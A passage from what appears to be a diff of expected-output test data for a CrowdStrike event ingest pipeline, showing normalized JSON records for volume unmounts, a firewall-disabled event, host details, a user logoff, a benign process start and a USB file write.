+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":\"1604850899.164\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff896b43725b83c79aa79959da",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FsVolumeUnmounted",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff896b43725b83c79aa79959da",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1717987648455",
+                "thread": {
+                    "id": 55064470042288
+                }
+            },
+            "related": {
+                "hash": [
+                    "666346415"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T15:57:20.625Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3429017943",
+                "ContextProcessId": "66426035996442255",
+                "ContextTimeStamp": "2020-11-08T15:58:18.548Z",
+                "Entitlements": "15",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9d4c-02f402df8c1f",
+                "name": "FirewallDisabledMacV1"
+            },
+            "device": {
+                "id": "ffffffff899541b94b9adff8922aa70a"
+            },
+            "event": {
+                "action": "FirewallDisabled",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2020-11-08T15:57:20.625Z",
+                "id": "ffffffff-1111-11eb-9d4c-02f402df8c1f|ffffffff899541b94b9adff8922aa70a|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.4.0009906.1\",\"ConfigStateHash\":\"3429017943\",\"ContextProcessId\":\"66426035996442255\",\"ContextTimeStamp\":\"1604851098.548\",\"Entitlements\":\"15\",\"aid\":\"ffffffff899541b94b9adff8922aa70a\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"FirewallDisabled\",\"id\":\"ffffffff-1111-11eb-9d4c-02f402df8c1f\",\"name\":\"FirewallDisabledMacV1\",\"timestamp\":\"1604851040625\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff899541b94b9adff8922aa70a",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "FirewallDisabled",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff899541b94b9adff8922aa70a",
+                "version": "1007.4.0009906.1"
+            },
+            "process": {
+                "entity_id": "66426035996442255"
+            },
+            "related": {
+                "hash": [
+                    "3429017943"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-11-09T09:00:27.353Z",
+            "crowdstrike": {
+                "AgentLoadFlags": "0",
+                "AgentLocalTime": "2021-11-09T05:47:19.952Z",
+                "AgentTimeOffset": 125.319,
+                "BiosManufacturer": "Apple Inc.",
+                "BiosVersion": "1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)",
+                "ChassisType": "Laptop",
+                "ConfigBuild": "1007.4.0014404.1",
+                "ConfigIDBuild": "14404",
+                "FirstSeen": "2021-07-07T18:26:31.000Z",
+                "HostHiddenStatus": "Visible",
+                "ProductType": "1",
+                "SystemManufacturer": "Apple Inc.",
+                "SystemProductName": "MacBookPro16,2",
+                "cid": "ffffffff30a3407dae27d0503611022ff"
+            },
+            "device": {
+                "id": "fffffffffffaaaaaaaaabbbbbbbb"
+            },
+            "event": {
+                "created": "2021-11-09T09:00:27.353Z",
+                "id": "|fffffffffffaaaaaaaaabbbbbbbb|ffffffff30a3407dae27d0503611022ff",
+                "original": "{\"AgentLoadFlags\":\"0\",\"AgentLocalTime\":\"1636436839.9529998\",\"AgentTimeOffset\":\"125.319\",\"AgentVersion\":\"6.31.14404.0\",\"BiosManufacturer\":\"Apple Inc.\",\"BiosVersion\":\"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)\",\"ChassisType\":\"Laptop\",\"City\":\"San Francisco\",\"ComputerName\":\"mac1\",\"ConfigBuild\":\"1007.4.0014404.1\",\"ConfigIDBuild\":\"14404\",\"Continent\":\"North America\",\"Country\":\"United States\",\"FalconGroupingTags\":\"-\",\"FirstSeen\":\"1625682391.0\",\"HostHiddenStatus\":\"Visible\",\"MachineDomain\":\"none\",\"OU\":\"none\",\"PointerSize\":\"none\",\"ProductType\":\"1\",\"SensorGroupingTags\":\"-\",\"ServicePackMajor\":\"none\",\"SiteName\":\"none\",\"SystemManufacturer\":\"Apple Inc.\",\"SystemProductName\":\"MacBookPro16,2\",\"Time\":\"1636448427.3539999\",\"Timezone\":\"America/Los_Angeles\",\"Version\":\"Big Sur (11.0)\",\"aid\":\"fffffffffffaaaaaaaaabbbbbbbb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022ff\",\"event_platform\":\"Mac\"}"
+            },
+            "host": {
+                "geo": {
+                    "city_name": "San Francisco",
+                    "continent_name": "North America",
+                    "country_name": "United States",
+                    "timezone": "America/Los_Angeles"
+                },
+                "hostname": "mac1",
+                "id": "fffffffffffaaaaaaaaabbbbbbbb",
+                "name": "mac1",
+                "os": {
+                    "type": "macos",
+                    "version": "Big Sur (11.0)"
+                }
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "fffffffffffaaaaaaaaabbbbbbbb",
+                "version": "6.31.14404.0"
+            },
+            "related": {
+                "hosts": [
+                    "mac1"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T17:05:34.461Z",
+            "crowdstrike": {
+                "AuthenticationId": "317005428",
+                "AuthenticationPackage": "Negotiate",
+                "ConfigStateHash": "3950066843",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "LogoffTime": "2020-11-08T17:05:32.756Z",
+                "LogonServer": "srv2",
+                "LogonTime": "2020-11-08T17:05:31.666Z",
+                "LogonType": "7",
+                "PasswordLastSet": "1598119332.510",
+                "RemoteAccount": "1",
+                "UserFlags": "32",
+                "UserLogoffType": "3",
+                "UserLogonFlags": "0",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-8913-0287fd11c79b",
+                "name": "UserLogoffV3"
+            },
+            "device": {
+                "id": "ffffffffe0104823bd3de859d5bc8bc7"
+            },
+            "event": {
+                "action": "UserLogoff",
+                "category": [
+                    "authentication"
+                ],
+                "created": "2020-11-08T17:05:34.461Z",
+                "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"UTCTimestamp\":\"1604855134461\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "domain": "dom1",
+                "id": "ffffffffe0104823bd3de859d5bc8bc7",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserLogoff",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffffe0104823bd3de859d5bc8bc7",
+                "version": "1007.3.0011603.1"
+            },
+            "related": {
+                "hash": [
+                    "3950066843"
+                ],
+                "hosts": [
+                    "srv2"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user4",
+                    "user.name",
+                    "user.name@dom2.com",
+                    "S-1-5-21-606747145-1364589140-725345543-28636"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "domain": "dom2.com",
+                "email": "user.name@dom2.com",
+                "full_name": "user.name",
+                "id": "S-1-5-21-606747145-1364589140-725345543-28636",
+                "name": "user4"
+            }
+        },
+        {
+            "@timestamp": "2022-08-16T08:01:09.410Z",
+            "crowdstrike": {
+                "AuthenticationId": "29530993",
+                "ConfigStateHash": "518095218",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "ImageSubsystem": "2",
+                "IntegrityLevel": "8192",
+                "MD5HashData": "e570911fc2ab74ecf0dc59f324318f6e",
+                "ParentAuthenticationId": "29530993",
+                "ProcessCreateFlags": "1024",
+                "ProcessParameterFlags": "24577",
+                "ProcessSxsFlags": "64",
+                "SHA256HashData": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2",
+                "SessionId": "1",
+                "SourceProcessId": "434985540832797032",
+                "SourceThreadId": "434985668331321297",
+                "Tags": [
+                    "25",
+                    "27",
+                    "862",
+                    "874",
+                    "924",
+                    "12094627905582",
+                    "12094627906234"
+                ],
+                "TokenType": "2",
+                "cid": "1301ac65ae144fbb9689a8472f828c2e",
+                "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf",
+                "name": "ProcessRollup2V19"
+            },
+            "device": {
+                "id": "50deaa55144543089a1f463b568cdc53"
+            },
+            "event": {
+                "action": "ProcessRollup2",
+                "category": [
+                    "process"
+                ],
+                "created": "2022-08-16T08:01:09.410Z",
+                "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf|50deaa55144543089a1f463b568cdc53|1301ac65ae144fbb9689a8472f828c2e",
+                "kind": "event",
+                "original": "{\"ProcessCreateFlags\":\"1024\",\"IntegrityLevel\":\"8192\",\"ParentProcessId\":\"434985540832797032\",\"SourceProcessId\":\"434985540832797032\",\"aip\":\"89.160.20.120\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"UserSid\":\"S-1-5-21-4084637156-299436391-3671333128-115430\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"ProcessEndTime\":\"\",\"ParentBaseFileName\":\"EmUser.exe\",\"ImageSubsystem\":\"2\",\"id\":\"9686a6b3-1d39-11ed-9370-0660bfa16adf\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"1\",\"Tags\":\"25, 27, 862, 874, 924, 12094627905582, 12094627906234\",\"timestamp\":\"1660636869410\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"6108\",\"ConfigStateHash\":\"518095218\",\"MD5HashData\":\"e570911fc2ab74ecf0dc59f324318f6e\",\"SHA256HashData\":\"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2\",\"ProcessSxsFlags\":\"64\",\"AuthenticationId\":\"29530993\",\"ConfigBuild\":\"1007.3.0015103.1\",\"CommandLine\":\"\\\"C:\\\\Program Files\\\\nirsoft\\\\SoundVolumeView.exe\\\" /SetDefault \\\"Teradici Virtual Audio Driver\\\\device\\\\speakers\\\\\\\" all\",\"ParentAuthenticationId\":\"29530993\",\"TargetProcessId\":\"434985669758362104\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\NirSoft\\\\SoundVolumeView.exe\",\"SourceThreadId\":\"434985668331321297\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2V19\",\"ProcessStartTime\":\"1660636868.576\",\"ProcessParameterFlags\":\"24577\",\"aid\":\"50deaa55144543089a1f463b568cdc53\",\"cid\":\"1301ac65ae144fbb9689a8472f828c2e\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "50deaa55144543089a1f463b568cdc53",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ProcessRollup2",
+            "observer": {
+                "address": [
+                    "89.160.20.120"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.120"
+                ],
+                "serial_number": "50deaa55144543089a1f463b568cdc53",
+                "version": "1007.3.0015103.1"
+            },
+            "process": {
+                "Ext": {
+                    "token": {
+                        "integrity_level_name": "MEDIUM"
+                    }
+                },
+                "args": [
+                    "C:\\Program Files\\nirsoft\\SoundVolumeView.exe",
+                    "/SetDefault",
+                    "Teradici Virtual Audio Driver\\device\\speakers\" all"
+                ],
+                "args_count": 3,
+                "command_line": "\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all",
+                "entity_id": "434985669758362104",
+                "executable": "\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe",
+                "hash": {
+                    "md5": "e570911fc2ab74ecf0dc59f324318f6e",
+                    "sha256": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2"
+                },
+                "name": "SoundVolumeView.exe",
+                "parent": {
+                    "entity_id": "434985540832797032",
+                    "name": "EmUser.exe"
+                },
+                "pid": 6108,
+                "start": "2022-08-16T08:01:08.576Z"
+            },
+            "related": {
+                "hash": [
+                    "e570911fc2ab74ecf0dc59f324318f6e",
+                    "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2",
+                    "518095218"
+                ],
+                "ip": [
+                    "89.160.20.120"
+                ],
+                "user": [
+                    "S-1-5-21-4084637156-299436391-3671333128-115430"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-5-21-4084637156-299436391-3671333128-115430"
+            }
+        },
+        {
+            "@timestamp": "2020-11-08T15:54:59.812Z",
+            "crowdstrike": {
+                "ConfigStateHash": "666346415",
+                "ContextProcessId": "1717987648455",
+                "ContextTimeStamp": "2022-12-03T18:43:39.000Z",
+                "EffectiveTransmissionClass": "3",
+                "EndTime": "2022-12-03T18:42:00.000Z",
+                "Entitlements": "15",
+                "StartTime": "2022-12-03T18:42:00.000Z",
+                "VolumeName": "\\Device\\HarddiskVolume27",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9",
+                "name": "FsVolumeUnmountedV2"
+            },
+            "device": {
+                "id": "ffffffff896b43725b83c79aa79959da"
+            },
+            "event": {
+                "action": "FsVolumeUnmounted",
+                "category": [
+                    "host"
+                ],
+                "created": "2020-11-08T15:54:59.812Z",
+                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":133145666190000000,\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\",\"StartTime\":133145665200000000,\"EndTime\":133145665200000000}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff896b43725b83c79aa79959da",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FsVolumeUnmounted",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff896b43725b83c79aa79959da",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1717987648455",
+                "thread": {
+                    "id": 55064470042288
+                }
+            },
+            "related": {
+                "hash": [
+                    "666346415"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2023-03-16T01:57:00.343Z",
+            "crowdstrike": {
+                "CurrentLocalIP": "67.43.156.13",
+                "FirstDiscoveredDate": "2022-11-28T08:47:57.827Z",
+                "LastDiscoveredBy": "c1b74438660b44cfa93e24c9d44badab",
+                "LocalAddressIP4": [
+                    "67.43.156.13"
+                ],
+                "MACPrefix": "AA-AA-AA",
+                "NeighborName": "!!!!UNKNOWN!!!!",
+                "__mv_aip": "$67.43.156.14$;$67.43.156.13$",
+                "__mv_discoverer_aid": "$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$",
+                "aipCount": 3,
+                "cid": "500c5073b4d7443688f4b32c5eeb295b",
+                "discovererCount": 2,
+                "discoverer_aid": "4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab",
+                "localipCount": 1,
+                "subnet": "10.0"
+            },
+            "event": {
+                "created": "2023-03-16T01:57:00.343Z",
+                "id": "||500c5073b4d7443688f4b32c5eeb295b",
+                "original": "{\"ComputerName\":\"HQ-sadhkbasHS\",\"CurrentLocalIP\":\"67.43.156.13\",\"FirstDiscoveredDate\":\"1669625277.827\",\"LastDiscoveredBy\":\"c1b74438660b44cfa93e24c9d44badab\",\"LocalAddressIP4\":\"67.43.156.13\",\"MAC\":\"AA-AA-AA-AA-AA-AA\",\"MACPrefix\":\"AA-AA-AA\",\"NeighborName\":\"!!!!UNKNOWN!!!!\",\"__mv_LocalAddressIP4\":\"\",\"__mv_aip\":\"$67.43.156.14$;$67.43.156.13$\",\"__mv_discoverer_aid\":\"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$\",\"__mv_discoverer_devicetype\":\"\",\"_time\":\"1678931820.343\",\"aip\":\"67.43.156.13 67.43.156.14 81.2.69.192\",\"aipCount\":\"3\",\"cid\":\"500c5073b4d7443688f4b32c5eeb295b\",\"discovererCount\":\"2\",\"discoverer_aid\":\"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab\",\"discoverer_devicetype\":\"\",\"localipCount\":\"1\",\"subnet\":\"10.0\"}"
+            },
+            "host": {
+                "hostname": "HQ-sadhkbasHS",
+                "name": "HQ-sadhkbasHS"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.13",
+                    "67.43.156.14",
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13",
+                    "67.43.156.14",
+                    "81.2.69.192"
+                ]
+            },
+            "related": {
+                "hosts": [
+                    "HQ-sadhkbasHS"
+                ],
+                "ip": [
+                    "67.43.156.13",
+                    "67.43.156.14",
+                    "81.2.69.192"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.13",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.13",
+                "mac": "AA-AA-AA-AA-AA-AA"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T15:54:59.812Z",
+            "crowdstrike": {
+                "ConfigStateHash": "666346415",
+                "ContextProcessId": "1717987648455",
+                "EffectiveTransmissionClass": "3",
+                "EndTime": "2022-12-03T18:42:00.000Z",
+                "Entitlements": "15",
+                "StartTime": "2022-12-03T18:42:00.000Z",
+                "VolumeName": "\\Device\\HarddiskVolume27",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9",
+                "name": "FsVolumeUnmountedV2"
+            },
+            "device": {
+                "id": "ffffffff896b43725b83c79aa79959da"
+            },
+            "event": {
+                "action": "FsVolumeUnmounted",
+                "category": [
+                    "host"
+                ],
+                "created": "2020-11-08T15:54:59.812Z",
+                "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":\"\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\",\"StartTime\":133145665200000000,\"EndTime\":133145665200000000}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff896b43725b83c79aa79959da",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FsVolumeUnmounted",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff896b43725b83c79aa79959da",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1717987648455",
+                "thread": {
+                    "id": 55064470042288
+                }
+            },
+            "related": {
+                "hash": [
+                    "666346415"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2020-11-08T15:57:11.298Z",
+            "crowdstrike": {
+                "AuthenticationId": "703298",
+                "ConfigStateHash": "2642284486",
+                "ContextProcessId": "1161025471861",
+                "ContextTimeStamp": "2020-11-08T15:57:10.593Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "FileEcpBitmask": "0",
+                "FileObject": "18446664963104449168",
+                "IrpFlags": "1028",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "1",
+                "MajorFunction": "18",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "id": "ffffffff-1111-11eb-800a-06cecfd73923",
+                "name": "GenericFileWrittenV11"
+            },
+            "device": {
+                "id": "ffffffff16bf4c7bb5ad755a4722025c"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2020-11-08T15:57:11.298Z",
+                "id": "ffffffff-1111-11eb-800a-06cecfd73923|ffffffff16bf4c7bb5ad755a4722025c|ffffffff30a3407dae27d0503611022d",
+                "original": "{\"AuthenticationId\":\"703298\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2642284486\",\"ContextProcessId\":\"1161025471861\",\"ContextThreadId\":\"34929528116709\",\"ContextTimeStamp\":\"1604851030.593\",\"DiskParentDeviceInstanceId\":\"USB\\\\VID_1058\\u0026PID_2621\\\\57583431453939315A4C5255\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"262fbc677256cf4c8d6c6a227285a072c06830873b000000\",\"FileObject\":\"18446664963104449168\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"1\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"517029\",\"TargetFileName\":\"c:\\\\Device\\\\HarddiskVolume5\\\\01.png.tmp$$\",\"TokenType\":\"1\",\"UserName\":\"user9\",\"aid\":\"ffffffff16bf4c7bb5ad755a4722025c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"GenericFileWritten\",\"id\":\"ffffffff-1111-11eb-800a-06cecfd73923\",\"name\":\"GenericFileWrittenV11\",\"timestamp\":\"1604851031298\"}"
+            },
+            "file": {
+                "device": "USB\\VID_1058&PID_2621\\57583431453939315A4C5255",
+                "directory": "c:\\Device\\HarddiskVolume5",
+                "drive_letter": "C",
+                "extension": "tmp$$",
+                "inode": "262fbc677256cf4c8d6c6a227285a072c06830873b000000",
+                "name": "01.png.tmp$$",
+                "path": "c:\\Device\\HarddiskVolume5\\01.png.tmp$$",
+                "size": 517029,
+                "type": "file"
+            },
+            "host": {
+                "id": "ffffffff16bf4c7bb5ad755a4722025c",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "GenericFileWritten",
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff16bf4c7bb5ad755a4722025c",
+                "version": "1007.3.0011603.1"
+            },
+            "process": {
+                "entity_id": "1161025471861",
+                "thread": {
+                    "id": 34929528116709
+                }
+            },
+            "related": {
+                "hash": [
+                    "2642284486"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "user": [
+                    "user9"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "user9"
+            }
+        },
+        {
+            "@timestamp": "2024-05-07T10:46:39.943Z",
+            "crowdstrike": {
+                "AuthenticationId": "111112312312312321",
+                "ConfigStateHash": "821711964",
+                "ContextTimeStamp": "2024-05-07T10:46:39.690Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "LogonTime": "2024-05-07T10:46:39.631Z",
+                "LogonType": "2",
+                "PasswordLastSet": "1706789855.733",
+                "UserGroupsBitmask": "0",
+                "UserLogonFlags": "6",
+                "UserName": "user-1",
+                "cid": "1d1d1d1d1d1d1d1d1",
+                "info": {
+                    "host": {
+                        "AgentLoadFlags": "0",
+                        "AgentLocalTime": "1714620029.775",
+                        "AgentTimeOffset": "454032",
+                        "AgentVersion": "7.14.18305.0",
+                        "ChassisType": "Other",
+                        "City": "Bengaluru",
+                        "ConfigBuild": "1007.4.0018305.10",
+                        "ConfigIDBuild": "18305",
+                        "Continent": "Asia",
+                        "Country": "India",
+                        "FirstSeen": "1701672920.000",
+                        "HostHiddenStatus": "Visible",
+                        "SystemManufacturer": "Apple Inc.",
+                        "SystemProductName": "Mac14, 2",
+                        "Time": "1715074061.000",
+                        "Timezone": "Asia/Kolkata",
+                        "Version": "Ventura (13)",
